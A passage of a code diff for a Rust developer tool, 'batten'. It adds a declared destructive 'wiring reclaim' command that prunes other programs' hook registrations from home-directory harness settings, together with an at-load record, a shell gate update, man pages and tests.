a/crates/batten/src/surface.rs +++ b/crates/batten/src/surface.rs @@ -2301,6 +2301,47 @@ pub const SURFACE: &[CommandDecl] = &[ effect: Effect::Read, flags: &[JSON], }, + // A NEW NOUN rather than a flag on an existing verb, and two shapes were + // considered and died on the same rule (CLOUD-893). `generate hooks --write` + // and `doctor hooks --repair` both hang the effect off a FLAG, where §5 hangs + // it off a ROW — and the agent read-only allowlist is `filter(effect == + // read)` with no second list, so a write flag on either row would drop the + // pure-stdout invocation every consumer already uses out of the allowlist. + // `batten hook install` died on settled precedent instead: nesting a noun + // under `hook` "turned the `PreToolUse` mediator into a noun that refused to + // adjudicate", which is why `payload` is top-level. + // + // `unclassified`, taking `provision`'s reading rather than `policy`'s: the + // subtree carries a destructive verb, and a write-bearing subtree under a + // `read` noun leaks onto the derived allowlist for any consumer that treats an + // entry as a prefix (CLOUD-90). + CommandDecl { + path: "wiring", + about: "Repair a host's hook registrations", + data_channel: false, + effect: Effect::Unclassified, + flags: &[], + }, + // `destructive`, not `write`, and the precedent is `attribution identity`'s + // own recorded reasoning: that verb refused a `--global` write precisely + // because one file is shared by every checkout on the box. This edits exactly + // such files. What it removes is also somebody else's registration rather than + // batten's own artifact, and recovering one means knowing what it was — which + // is what the at-load record exists to preserve and what §6 forbids the report + // from printing. §5 binds `-y --yes` to this effect, so a non-interactive + // caller is told the flag rather than prompted into the void. + // + // Required UNCONDITIONALLY rather than only when unattended, following + // `capture prune`: §4's own words are that a policy engine which blocks a loop + // waiting for Y/N is a dead gate, and the primary caller here is a program. A + // rule that never prompts cannot hang. + CommandDecl { + path: "wiring reclaim", + about: "Remove non-batten hook registrations from this host's merged surfaces", + data_channel: false, + effect: Effect::Destructive, + flags: &[DRY_RUN], + }, ]; /// Whether `token` is a declared spelling of a flag that consumes the *next* diff --git a/crates/batten/src/wiring.rs b/crates/batten/src/wiring.rs new file mode 100644 index 000000000..725b78d2d --- /dev/null +++ b/crates/batten/src/wiring.rs @@ -0,0 +1,566 @@ +//! `batten wiring` — the one write path over a host's hook registrations. +//! +//! [`crate::doctor`] answers *is there a hook here that is not mine*. This module +//! is the half that can do something about it, and it is a separate module for +//! the reason `doctor`'s own header gives: that verb promises never to return a +//! policy verdict and never to act, and a destructive write inside it would make +//! both promises conditional on which subcommand you typed. +//! +//! # Record, then repair — and never the other way round +//! +//! A harness reads its hook wiring once, when a session starts. So a repair +//! performed mid-session changes what is on DISK and cannot change what the +//! running host has already loaded, and a census taken after the repair reports +//! `merged_siblings: 0` over a runtime still dispatching the siblings it just +//! deleted. That is a manufactured false green, and strictly worse than the +//! expiring waiver table this capability replaced: a waiver at least says which +//! reductions it excuses. +//! +//! So [`reclaim`] writes the AT-LOAD record before it edits a byte, and the +//! consumer's gate reads that record rather than the disk. Two numbers +//! disagreeing is the honest answer — *this session is running wiring that no +//! longer exists; restart to pick up the repair* — and one number agreeing at +//! zero is the honest green. +//! +//! # Why the record is not session-keyed, and what clears it +//! +//! There is no portable session identity to key on, and a timestamp would only +//! move the question. What there IS, exactly once per session, is the moment the +//! host re-reads its wiring: [`crate::hook::Event::SessionStart`]. At that +//! instant live and at-load are the same by definition, so the record is +//! **cleared** there ([`clear_at_load`]) and written only by [`reclaim`]. +//! +//! **Which is why reclaim is not run from a session-start handler.** The plan +//! this implements wanted the merged arm repaired automatically on +//! `SessionStart`. It cannot be: the clear and the record would then both happen +//! inside one unordered batch of handlers, and whichever landed second would +//! decide — a coin toss between the honest red and exactly the false green the +//! record exists to prevent. An unorderable pair is not a race to tune, so the +//! verb stays explicitly invoked and the clear keeps its one writer. +//! +//! # Scope: the merged surfaces, never the committed one +//! +//! [`reclaim`] edits only files under the caller's home directory. A committed +//! surface is version-controlled, reviewed, and the subject of `doctor hooks`'s +//! own findings; rewriting it from here would fight `tree-clean` on every run. +//! The `same_file` arm is what enforces that, and it is a correctness property +//! rather than an optimisation: several hosts spell their user-level surface and +//! their project-level one identically, so a checkout sitting AT the home +//! directory resolves both to one file. + +use std::borrow::Cow; +use std::path::{Path, PathBuf}; + +use anyhow::Result; + +use crate::{git, hook}; + +/// The event map inside a wiring file. +/// +/// One expression for both shapes of [`hook::WiringFile`], read from the +/// harness's own declaration rather than from a `(.hooks // .)` guess. The bash +/// gate carried that guess as a second copy of the Key/Whole split; deleting the +/// copy is the point of moving this in-process, not a side effect. +/// +/// Lives here rather than in [`crate::doctor`] so that the reader and the writer +/// cannot disagree about what a registration IS. `merged_under`'s own comment +/// asks for exactly that — "a sibling count that disagreed with the committed one +/// about what a sibling is could not be summed with it" — and a second copy in +/// the write path would be the same defect one layer over. +pub(crate) fn committed_events( + document: &serde_json::Value, + file: hook::WiringFile, +) -> Option>> { + let key = event_key(file); + // AN ABSENT KEY IS AN EMPTY MAP, NEVER UNREADABLE, and the distinction is a + // verdict rather than a detail. A settings file carrying `permissions` and no + // `hooks` parses perfectly and registers batten nowhere — which under + // "registered on every surface" is the MAXIMAL disagreement, one + // `event-unregistered` per event. Reading it as "could not look" would answer + // a question nobody asked and hide the one that was. + // + // What is genuinely unreadable is a document that is not an object, or a + // `hooks` that is not one. + match document.get(key) { + None => document + .is_object() + .then(|| Cow::Owned(serde_json::Map::new())), + Some(value) => value.as_object().map(Cow::Borrowed), + } +} + +/// Which key a wiring file's events live under. +/// +/// Extracted so the mutable walk in [`prune_siblings`] and the immutable read in +/// [`committed_events`] cannot pick different keys — the one way those two could +/// silently stop describing the same document. +const fn event_key(file: hook::WiringFile) -> &'static str { + match file { + hook::WiringFile::Key { key, .. } => key, + // A hooks-only file is what `render_wiring` emits whole, and what it + // emits is `{"hooks": {…}}`. + hook::WiringFile::Whole(_) => "hooks", + } +} + +/// Every `{matcher, command}` pair registered under one event. +pub(crate) fn entries_under(value: &serde_json::Value) -> Vec<(Option<&str>, &str)> { + let mut pairs = Vec::new(); + for entry in value.as_array().into_iter().flatten() { + let matcher = entry.get("matcher").and_then(serde_json::Value::as_str); + for hook in entry + .get("hooks") + .and_then(serde_json::Value::as_array) + .into_iter() + .flatten() + { + if let Some(command) = hook.get("command").and_then(serde_json::Value::as_str) { + pairs.push((matcher, command)); + } + } + } + pairs +} + +/// Whether two paths name the same file on disk. +/// +/// Compared by CANONICAL path rather than by string: a checkout reached through +/// a symlink, or spelled with a `.`, is still the same file, and a string +/// comparison would miss it and report the committed wiring as a merged second +/// authority. A path that does not canonicalize does not exist, and a file that +/// does not exist collides with nothing. +/// +/// The collision is real rather than theoretical: several hosts spell their +/// user-level surface and their project-level one identically, differing only in +/// which directory they are resolved against, so a checkout that sits AT the +/// home directory resolves both to one file. +pub(crate) fn same_file(one: &Path, two: &Path) -> bool { + match (one.canonicalize(), two.canonicalize()) { + (Ok(left), Ok(right)) => left == right, + _ => false, + } +} + +/// Whether one registered command is batten's own. +/// +/// **The same selector both sides of the census use**, and deliberately broader +/// than "does this reach the engine": asking the narrow question would make a +/// renamed command *invisible* rather than *wrong*, so a mis-registered batten +/// would be reclaimed as somebody else's hook. Selected broadly, judged +/// narrowly, which is `diagnose_harness`'s rule and has to be this path's too. +fn is_batten(entry: &str, command: &str) -> bool { + entry.contains(command) || entry.contains("batten") +} + +/// One `(harness, event)` pair and how many non-batten registrations it carried. +/// +/// **Pointer-only, and the omission is the point** (non-negotiable rule 4): no +/// path, no `$HOME`, and not even the offending command's basename. A basename is +/// a filename off somebody's disk, and the gate that consumes this needs only to +/// know that the count was non-zero — so carrying one would buy a nicer message +/// with a leak. Which command it was is answerable from the file the harness and +/// event name. +#[derive(Debug, Clone, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +#[non_exhaustive] +pub struct AtLoadRow { + /// The harness whose merged surface carried them. + pub harness: String, + /// The event they were registered on, in the host's own spelling. + pub event: String, + /// How many of them were not batten's. + pub siblings: usize, +} + +/// What this session's harnesses had loaded before any repair. +/// +/// Byte-stable under `-J` for §6's reason: the rows come back in +/// [`hook::Harness::ALL`] order and, within a harness, in the order the host's +/// own document lists its events, so two runs over one disk state serialise +/// identically. +#[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +#[non_exhaustive] +pub struct AtLoad { + /// One row per `(harness, event)` that carried a non-batten registration. + pub rows: Vec, +} + +impl AtLoad { + /// Every non-batten registration the record accounts for. + #[must_use] + pub fn siblings(&self) -> usize { + self.rows.iter().map(|row| row.siblings).sum() + } +} + +/// Where the at-load record lives. +/// +/// Under `$GIT_DIR`, beside `batten-receipts`, for the three reasons that store +/// picked it: never committed, per-worktree rather than per-checkout, and gone +/// when the container is reclaimed — which is correct here, because a record of +/// what a dead session had loaded is worth nothing to a live one. +fn record_path(git_dir: &Path) -> PathBuf { + git_dir.join("batten-wiring").join("at-load.json") +} + +/// Read the at-load record, or `None` when no repair has been recorded. +/// +/// **A record that will not parse reads as absent**, not as an error. The +/// consumer's gate falls back to the live disk when there is no record, and a +/// live read is a strictly better answer than a refusal it cannot act on — the +/// same fail-open direction `diagnose_hooks` takes on an unreadable config. +/// +/// # Errors +/// +/// Returns an error only when `dir` is not a git repository, since then there is +/// no store to have looked in. +pub fn read_at_load(dir: &Path) -> Result> { + let path = record_path(&git::git_dir(dir)?); + let Ok(raw) = std::fs::read_to_string(path) else { + return Ok(None); + }; + Ok(serde_json::from_str(&raw).ok()) +} + +/// Drop the at-load record, and say whether there was one. +/// +/// Called from the `SessionStart` path of [`crate::run_hook`], which is the one +/// moment a host's loaded wiring and its on-disk wiring are the same by +/// definition. Failure to remove is swallowed by the caller rather than reported: +/// a session-start handler that refused a session over a stale bookkeeping file +/// would be a gate on the wrong object. +/// +/// # Errors +/// +/// Returns an error when `dir` is not a git repository, or when a record exists +/// and cannot be removed. +pub fn clear_at_load(dir: &Path) -> Result { + let path = record_path(&git::git_dir(dir)?); + if !path.exists() { + return Ok(false); + } + std::fs::remove_file(&path)?; + Ok(true) +} + +/// What one [`reclaim`] did, or would do. +#[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize)] +#[non_exhaustive] +pub struct Reclaimed { + /// The non-batten registrations found, per `(harness, event)`. + pub rows: Vec, + /// How many merged surfaces were read and judged. + pub surfaces_read: usize, + /// How many were rewritten. Zero under a dry run, and zero when nothing was + /// found — which the row list is what distinguishes. + pub surfaces_written: usize, + /// Whether the at-load record was written by this call. `false` when one + /// already existed, because the FIRST record is the one that describes what + /// the running session loaded and a second would describe the repair. + pub recorded: bool, +} + +impl Reclaimed { + /// Every non-batten registration this call found. + #[must_use] + pub fn siblings(&self) -> usize { + self.rows.iter().map(|row| row.siblings).sum() + } +} + +/// Remove every non-batten hook registration from this host's merged surfaces. +/// +/// The inverse of `doctor`'s merged census, over the same surfaces and with the +/// same selector. Ranged over [`hook::Harness::ALL`] rather than a table, so a +/// seventh adapter is reclaimed the day it lands instead of silently skipped. +/// +/// **The at-load record is written before the first byte changes**, and only when +/// none exists. `a_reclaim_records_before_it_repairs` is the assertion, driven by +/// making the repair itself fail: the record has to survive a write that did not. +/// +/// # Errors +/// +/// Returns an error when `dir` is not a git repository, when the record cannot be +/// written, or when a surface that parsed cannot be written back. A surface that +/// could not be READ is not an error — it is a could-not-look, counted out of +/// `surfaces_read` and left alone, because a file this verb cannot parse is one +/// it must not rewrite. +pub fn reclaim(dir: &Path, home: &Path, dry_run: bool) -> Result { + let mut out = Reclaimed::default(); + // Planned in full before anything is written, so the record describes the + // whole pre-repair state even if a later surface refuses the write. + let mut planned: Vec<(PathBuf, serde_json::Value)> = Vec::new(); + for harness in hook::Harness::ALL { + let command = hook::wiring_command(*harness); + let key = harness + .wiring() + .map_or(hook::WiringFile::Whole(""), |w| w.file); + for surface in harness.merge_surfaces() { + let path = home.join(surface); + // The committed surface is not this verb's subject; see the module + // header. Not counted as read either — it was never a merged one. + if same_file(&path, &dir.join(surface)) { + continue; + } + let Ok(raw) = std::fs::read_to_string(&path) else { + continue; + }; + let Ok(mut document) = serde_json::from_str::(&raw) else { + continue; + }; + if committed_events(&document, key).is_none() { + continue; + } + out.surfaces_read += 1; + let removed = prune_siblings(&mut document, key, &command); + if removed.is_empty() { + continue; + } + for (event, siblings) in removed { + out.rows.push(AtLoadRow { + harness: harness.as_str().to_owned(), + event, + siblings, + }); + } + planned.push((path, document)); + } + } + if dry_run { + return Ok(out); + } + out.recorded = write_at_load(dir, &out.rows)?; + for (path, document) in planned { + // Pretty rather than compact, and a free choice here where it would not + // be on a committed file: these surfaces are untracked, launcher-owned + // and rewritten wholesale at provisioning, so there are no bytes of + // somebody's formatting to conserve and no golden to churn. + std::fs::write( + &path, + format!("{}\n", serde_json::to_string_pretty(&document)?), + )?; + out.surfaces_written += 1; + } + Ok(out) +} + +/// Write the at-load record unless one is already there. +/// +/// Returns whether this call wrote it. **Never overwrites**: the first record is +/// the one that describes the wiring the running session loaded, and a second +/// would describe the state after a repair — which is the false green this whole +/// ordering exists to refuse. +fn write_at_load(dir: &Path, rows: &[AtLoadRow]) -> Result { + let path = record_path(&git::git_dir(dir)?); + if path.exists() { + return Ok(false); + } + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + let record = AtLoad { + rows: rows.to_vec(), + }; + std::fs::write( + &path, + format!("{}\n", serde_json::to_string_pretty(&record)?), + )?; + Ok(true) +} + +/// Strip every non-batten registration out of one wiring document. +/// +/// Returns `(event, count)` for each event that lost one, in document order. +/// +/// **Empty containers are removed, not left behind.** A `hooks` array emptied of +/// its last entry, or an event whose array is now empty, is wiring that declares +/// nothing — and a host that iterates it would be handed a shape its own +/// generator never emits. Leaving the husk would also make the census read +/// `read: 1, commands: 0`, which is a real disposition and would now be a lie +/// about how the file got there. +fn prune_siblings( + document: &mut serde_json::Value, + file: hook::WiringFile, + command: &str, +) -> Vec<(String, usize)> { + let key = event_key(file); + let Some(events) = document + .get_mut(key) + .and_then(serde_json::Value::as_object_mut) + else { + return Vec::new(); + }; + let mut removed = Vec::new(); + let mut dead_events = Vec::new(); + for (event, value) in events.iter_mut() { + let Some(entries) = value.as_array_mut() else { + continue; + }; + let mut count = 0; + for entry in entries.iter_mut() { + let Some(hooks) = entry + .get_mut("hooks") + .and_then(serde_json::Value::as_array_mut) + else { + continue; + }; + hooks.retain(|hook| { + let Some(cmd) = hook.get("command").and_then(serde_json::Value::as_str) else { + // A hook object with no command string registers nothing this + // path can judge, so it is left exactly where it is. Removing + // it would be this verb deciding about a shape it does not + // own. + return true; + }; + let keep = is_batten(cmd, command); + if !keep { + count += 1; + } + keep + }); + } + if count == 0 { + continue; + } + entries.retain(|entry| { + entry + .get("hooks") + .and_then(serde_json::Value::as_array) + .is_none_or(|hooks| !hooks.is_empty()) + }); + removed.push((event.clone(), count)); + if entries.is_empty() { + dead_events.push(event.clone()); + } + } + for event in dead_events { + events.remove(&event); + } + removed +} + +#[cfg(test)] +#[allow(clippy::unwrap_used, clippy::expect_used)] +mod tests { + use super::*; + + /// Build a claude-code merged surface carrying `commands` on one event. + fn surface(commands: &[&str]) -> serde_json::Value { + serde_json::json!({ + "hooks": { + "SessionStart": [{ + "hooks": commands + .iter() + .map(|command| serde_json::json!({"type": "command", "command": command})) + .collect::>() + }] + } + }) + } + + /// One host's wiring shape, DERIVED from the harness table and never typed. + /// + /// Spelling the host's settings path here would be a consumer's artifact name + /// inside `crates/batten` — non-negotiable rule 1, and + /// `document_facts::no_artifact_name_reaches_the_core` caught exactly that in + /// this module's first draft. It is the rule `doctor.rs` already states for + /// itself: derive the path from the harness table, never type it. + /// + /// This comment does not spell the literal either, and that is not fastidious: + /// the gate is a substring scan over the file, so an explanation naming what + /// it forbids fires on itself. `.claude/rules/scanning.md` records the same + /// shape one layer up, and the second draft of this comment is what proved it. + fn claude() -> hook::WiringFile { + hook::Harness::ClaudeCode + .wiring() + .expect("claude-code declares a wiring surface") + .file + } + + /// The load-bearing negative: a broad selector, so a MIS-registered batten is + /// wrong rather than reclaimed. + /// + /// Fails by: narrowing [`is_batten`] to the exact wiring command. + #[test] + fn a_renamed_batten_registration_is_not_somebody_elses_hook() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + // Reaches no engine — the `--harness` flag is gone — so `doctor` reports + // it as wrong. It must still not be deleted here. + let mut document = surface(&["/usr/local/bin/batten hook"]); + assert!(prune_siblings(&mut document, claude(), &command).is_empty()); + } + + /// A sibling goes, and the event it emptied goes with it. + /// + /// Fails by: dropping the `dead_events` sweep, which leaves `SessionStart: []` + /// — a shape no generator emits and one the census cannot tell from a file + /// that always had none. + #[test] + fn an_emptied_event_is_removed_rather_than_left_as_a_husk() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let mut document = surface(&["session-start-git-identity.sh"]); + assert_eq!( + prune_siblings(&mut document, claude(), &command), + vec![("SessionStart".to_owned(), 1)] + ); + assert_eq!(document, serde_json::json!({"hooks": {}})); + } + + /// Batten's own registration survives beside a reclaimed sibling, and the + /// entry that held both survives with it. + /// + /// Fails by: retaining on the entry instead of on its `hooks` array, which + /// takes batten's registration out with the sibling sharing its matcher. + #[test] + fn a_sibling_sharing_an_entry_with_batten_takes_only_itself() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let mut document = surface(&[&command, "stop-hook-git-check.sh"]); + assert_eq!( + prune_siblings(&mut document, claude(), &command), + vec![("SessionStart".to_owned(), 1)] + ); + assert_eq!(document, surface(&[&command])); + } + + /// A hook object with no `command` is left alone rather than swept up. + /// + /// Fails by: treating a missing command as a non-batten registration, which + /// makes this verb delete a shape it does not own. + #[test] + fn a_registration_with_no_command_is_not_this_verbs_business() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let mut document = serde_json::json!({ + "hooks": {"Stop": [{"hooks": [{"type": "command"}]}]} + }); + let before = document.clone(); + assert!(prune_siblings(&mut document, claude(), &command).is_empty()); + assert_eq!(document, before); + } + + /// The record and the census agree on what a sibling is, by construction. + /// + /// Fails by: giving either side its own selector — the copy `is_batten` + /// exists to make unwritable. + #[test] + fn the_reader_and_the_writer_share_one_selector() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let document = surface(&[&command, "session-start-git-identity.sh"]); + let events = committed_events(&document, claude()).expect("a wiring file"); + let counted = events + .values() + .flat_map(entries_under) + .filter(|(_, entry)| !is_batten(entry, &command)) + .count(); + let mut pruned = document; + let removed: usize = prune_siblings(&mut pruned, claude(), &command) + .iter() + .map(|(_, count)| count) + .sum(); + assert_eq!(counted, removed); + } + + /// An empty record sums to nothing, so the gate's fallback is unambiguous. + #[test] + fn a_record_with_no_rows_carries_no_siblings() { + assert_eq!(AtLoad::default().siblings(), 0); + } +} diff --git a/crates/batten/tests/pointer_only.rs b/crates/batten/tests/pointer_only.rs index f0a65f3ca..46aa1679a 100644 --- a/crates/batten/tests/pointer_only.rs +++ b/crates/batten/tests/pointer_only.rs @@ -787,6 +787,22 @@ const CENSUS: &[Verb] = &[ stdin: Stdin::Nothing, disposition: Disposition::PointerOnly, }, + // The one verb whose subject is a file OUTSIDE the repository (CLOUD-893), + // which makes rule 4 tighter here rather than looser: what it removes is a + // command line off somebody's home directory, so every byte it reports is a + // count plus the harness and event to look under — not a path, and not even + // the offending command's basename. The at-load record it writes obeys the + // same rule, which `tests/wiring-reclaim.bats` asserts over the file itself. + // + // Driven with `-n`, which is the only invocation that reads the surfaces and + // writes nothing: this corpus is a fixture tree, and a verb allowed to repair + // it would be measuring bytes it had just rewritten. + Verb { + path: "wiring reclaim", + args: &["-n"], + stdin: Stdin::Nothing, + disposition: Disposition::PointerOnly, + }, Verb { path: "provision status", args: &[], diff --git a/man/batten-wiring-reclaim.1 b/man/batten-wiring-reclaim.1 new file mode 100644 index 000000000..a2d6711d1 --- /dev/null +++ b/man/batten-wiring-reclaim.1 @@ -0,0 +1,16 @@ +.ie \n(.g .ds Aq \(aq +.el .ds Aq ' +.TH batten-wiring-reclaim 1 batten +.SH NAME +batten\-wiring\-reclaim \- Remove non\-batten hook registrations from this host\*(Aqs merged surfaces +.SH SYNOPSIS +\fBbatten wiring reclaim\fR [\fB\-n\fR|\fB\-\-dry\-run\fR] [\fB\-h\fR|\fB\-\-help\fR] +.SH DESCRIPTION +Remove non\-batten hook registrations from this host\*(Aqs merged surfaces +.SH OPTIONS +.TP +\fB\-n\fR, \fB\-\-dry\-run\fR +Preview what would be applied, writing nothing +.TP +\fB\-h\fR, \fB\-\-help\fR +Print help diff --git a/man/batten-wiring.1 b/man/batten-wiring.1 new file mode 100644 index 000000000..b39271d0b --- /dev/null +++ b/man/batten-wiring.1 @@ -0,0 +1,20 @@ +.ie \n(.g .ds Aq \(aq +.el .ds Aq ' +.TH batten-wiring 1 batten +.SH NAME +batten\-wiring \- Repair a host\*(Aqs hook registrations +.SH SYNOPSIS +\fBbatten wiring\fR [\fB\-h\fR|\fB\-\-help\fR] <\fIsubcommands\fR> +.SH DESCRIPTION +Repair a host\*(Aqs hook registrations +.SH OPTIONS +.TP +\fB\-h\fR, \fB\-\-help\fR +Print help +.SH SUBCOMMANDS +.TP +batten\-wiring\-reclaim(1) +Remove non\-batten hook registrations from this host\*(Aqs merged surfaces +.TP +batten\-wiring\-help(1) +Print this message or the help of the given subcommand(s) diff --git a/man/batten.1 b/man/batten.1 index 7ea0802e8..3cdbf09b0 100644 --- a/man/batten.1 +++ b/man/batten.1 @@ -130,6 +130,9 @@ Design\-evidence claims: the integrity of the record behind a decision batten\-state(1) The out\-of\-tree findings store: which store belongs to this checkout .TP +batten\-wiring(1) +Repair a host\*(Aqs hook registrations +.TP batten\-help(1) Print this message or the help of the given subcommand(s) .SH EXTRA diff --git a/mise-tasks/hooks-wiring-check.sh b/mise-tasks/hooks-wiring-check.sh index dec73d68f..a11876616 100755 --- a/mise-tasks/hooks-wiring-check.sh +++ b/mise-tasks/hooks-wiring-check.sh @@ -230,6 +230,33 @@ fi registrations=$(jq -r '[.harnesses[].registrations] | add // 0' <<<"$diagnosis") diagnosed=$(jq -r '.harnesses[].harness' <<<"$diagnosis") +# THE SUBJECT OF THIS GATE IS THE RECORD, NOT ONLY THE DISK (CLOUD-893). +# +# A harness reads its hook wiring once, when a session starts. So `batten wiring +# reclaim` changes what is on disk and cannot change what the running host has +# already loaded — and a gate that read only the disk would go green one moment +# after the repair, over a runtime still dispatching every sibling that was just +# deleted. That is a manufactured false green, and strictly worse than the +# expiring waiver table CLOUD-893 removed: a waiver at least says what it excuses. +# +# So the reclaim writes an AT-LOAD record before it edits a byte, `doctor hooks` +# reports its total as `at_load_siblings`, and this reads that number FIRST. Two +# states the disk cannot tell apart: +# +# * `null` — no repair recorded. Read the disk; the loops below do exactly that. +# * `0` — a repair ran and found nothing. The disk is also the answer. +# * `n > 0` — this session loaded `n` siblings that are no longer on disk. RED, +# naming the restart, because nothing else can distinguish it from +# a clean tree. +# +# `batten hook` on `SessionStart` expires the record, which is the one moment the +# two are the same by definition — so the next session's run of this gate reads +# the disk again and goes green if the repair held. +at_load=$(jq -r '.at_load_siblings // 0' <<<"$diagnosis") +if [[ "$at_load" =~ ^[0-9]+$ ]] && [[ "$at_load" -gt 0 ]]; then + report "hooks-wiring-check:at-load:$at_load" "wiring-repair-unloaded" +fi + # THE LAUNCHER INDIRECTION IS RESOLVED HERE, WHICH IS THE WHOLE REASON THIS FILE # STILL EXISTS AS A GATE. The core compares a committed command against the # neutral `batten hook --harness ` it emits, and it cannot do otherwise: @@ -484,7 +511,7 @@ while read -r harness wiring launcher; do done <<<"$HARNESSES" if [[ "$violations" -ne 0 ]]; then - echo "::error:: hooks-wiring-check: $violations wiring violation(s) above. For an entry that IS batten's, the derivation is the authority: edit the wiring, or the rows in crates/batten/src/hook.rs if the derivation is what is wrong — \`batten doctor hooks\` is the same read without this file's consumer-side table. For a \`wiring-sibling-command\`, \`batten hook\` is the only command this repository registers natively: move the program BEHIND the engine — a \`[[hook.handler]]\` row in batten.toml if it must keep running, a policy row if its decision can be expressed as one — and delete the registration. A DECLARED row records who retires it and no longer excuses it; adding one changes the pointer and not the verdict." >&2 + echo "::error:: hooks-wiring-check: $violations wiring violation(s) above. For an entry that IS batten's, the derivation is the authority: edit the wiring, or the rows in crates/batten/src/hook.rs if the derivation is what is wrong — \`batten doctor hooks\` is the same read without this file's consumer-side table. For a \`wiring-sibling-command\`, \`batten hook\` is the only command this repository registers natively: move the program BEHIND the engine — a \`[[hook.handler]]\` row in batten.toml if it must keep running, a policy row if its decision can be expressed as one — and delete the registration. A DECLARED row records who retires it and no longer excuses it; adding one changes the pointer and not the verdict. A \`wiring-repair-unloaded\` is not a wiring defect at all: \`batten wiring reclaim\` has already removed that many registrations from a merged surface and this session is still running them, so restart the harness — the record expires at the next SessionStart and this gate reads the disk again." >&2 exit 1 fi diff --git a/tests/hooks-wiring-check.bats b/tests/hooks-wiring-check.bats index 32917b60e..07fb05abd 100644 --- a/tests/hooks-wiring-check.bats +++ b/tests/hooks-wiring-check.bats @@ -350,6 +350,69 @@ codex-cli $ROOT/.codex/hooks.json -" [ "$status" -eq 2 ] } +# THE ARM THAT STOPS THE REPAIR EATING ITS OWN EVIDENCE (CLOUD-893). +# +# `batten wiring reclaim` removes non-batten registrations from a merged surface. +# A harness reads its wiring once, at session start, so the repair changes the +# DISK and cannot change what the running host has already loaded — and a gate +# reading only the disk would go green one moment after the repair, over a runtime +# still dispatching every sibling that was just deleted. That is a manufactured +# false green, and strictly worse than the waiver table CLOUD-893 removed. +# +# Driven through `HOOKS_WIRING_DIAGNOSIS`, which is the seam this file already +# uses for every decision the gate makes about a document rather than about a +# file: the record lives under `$GIT_DIR` and is the ENGINE's to read, so the +# thing under test here is what this gate does with the number, not where the +# number came from. `tests/wiring-reclaim.bats` owns the other half. +# The table is narrowed to ONE harness that the stub also declares, because the +# census this gate runs afterwards requires every harness the TABLE names to +# appear in the diagnosis. A stub emitting an empty harness list against the +# default five-row table reports five `wiring-harness-unknown` findings, and the +# exit status then says nothing about the arm under test — the first draft of +# these cases went red and green on that noise rather than on the record. +# +# Narrowed through `HARNESSES`, which is this suite's own seam. An env-prefixed +# `HOOKS_WIRING_HARNESSES` does not reach the gate at all: `gate` sets that +# variable itself from `HARNESSES`, so the prefix is overwritten one frame down — +# which is a silent no-op, and was the second wrong turn here. +record_only() { # record_only + HARNESSES="claude-code $WIRING -" \ + HOOKS_WIRING_DIAGNOSIS="echo {\"harnesses\":[{\"harness\":\"claude-code\",\"registrations\":1,\"findings\":[]}]$1}" \ + run gate +} + +@test "a recorded repair this session has not loaded is RED, not a clean tree" { + # The whole point: zero live siblings — a disk that looks perfect — and a + # record saying two were loaded. The two cannot be told apart from the disk, + # which is why the record exists. + record_only ',"at_load_siblings":2' + [ "$status" -eq 1 ] + [[ "$output" == *"wiring-repair-unloaded"* ]] + # The count travels so the reader knows the size of the gap, and no path does. + [[ "$output" == *"at-load:2"* ]] + [[ "$output" == *"restart the harness"* ]] + # One finding, so the red is this arm's and not something else's. + [[ "$output" == *"1 wiring violation(s)"* ]] +} + +@test "a repair that found nothing is not a restart, and no record is not either" { + # The two states that must stay APART from the one above, and from each other + # in intent: `0` means a reclaim ran and had nothing to do, `null` means none + # has run. Both say read the disk, and neither is a finding — collapsing either + # into the red arm would make the gate permanently red after any reclaim. + record_only ',"at_load_siblings":0' + [ "$status" -eq 0 ] + [[ "$output" != *"wiring-repair-unloaded"* ]] + record_only ',"at_load_siblings":null' + [ "$status" -eq 0 ] + [[ "$output" != *"wiring-repair-unloaded"* ]] + # And an engine too old to carry the field at all is the same answer rather + # than an error, because the absent key and a null one mean the same thing. + record_only '' + [ "$status" -eq 0 ] + [[ "$output" != *"wiring-repair-unloaded"* ]] +} + @test "every registration is judged, so one run names them all" { complete_wiring 'batten hoook --harness claude-code' run gate diff --git a/tests/wiring-reclaim.bats b/tests/wiring-reclaim.bats new file mode 100644 index 000000000..d00177e7c --- /dev/null +++ b/tests/wiring-reclaim.bats @@ -0,0 +1,223 @@ +#!/usr/bin/env bats +# subject: crates/batten/src/wiring.rs +# +# Paths only on that line: it is read as whitespace-separated paths, and it is +# what buys this file's deletion once they die. +# +# THE SECOND TIER for `batten wiring reclaim` (CLOUD-893). `wiring.rs`'s own unit +# cases pin `prune_siblings` against documents they build themselves, which is the +# `with input as` shape `.claude/rules/policy-modules.md` names: it fabricates the +# document the ENGINE may be unable to locate, so every one of them could pass +# over a verb that reads the wrong home directory, refuses without `-y` in the +# wrong direction, or writes the record after the repair instead of before. +# +# Those four are what this file asserts, over the compiled binary, against a real +# `$HOME` on disk. +# +# WHY A FIXTURE `$HOME` AND NOT THIS CONTAINER'S. The verb's whole subject is a +# file under the caller's home directory, and this container HAS one — with the +# two launcher-provisioned registrations CLOUD-605 owns still in it. A suite that +# drove the real one would repair the box it is measuring, exactly once, and every +# later run would assert over a state the first run destroyed. `etcetera` resolves +# from `$HOME`, so overriding it is the whole isolation. + +setup() { + BIN="" + for candidate in \ + "${BATTEN_BIN:-}" \ + "$BATS_TEST_DIRNAME/../target/release/batten" \ + "$BATS_TEST_DIRNAME/../target/debug/batten"; do + [ -n "$candidate" ] && [ -x "$candidate" ] || continue + BIN="$candidate" + break + done + [ -n "$BIN" ] || BIN="$(command -v batten || true)" + [ -n "$BIN" ] || skip "no batten binary to drive" + + REPO="$BATS_TEST_TMPDIR/repo" + mkdir -p "$REPO" + printf 'version = 1\n' >"$REPO/batten.toml" + GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" + + # The fixture home, carrying one merged surface with one batten registration + # and one sibling. `.claude/launcher-settings.json` is a path + # `Harness::merge_surfaces` declares, so this is the real selection rather than + # a name this file invented. + HOME_DIR="$BATS_TEST_TMPDIR/home" + mkdir -p "$HOME_DIR/.claude" + 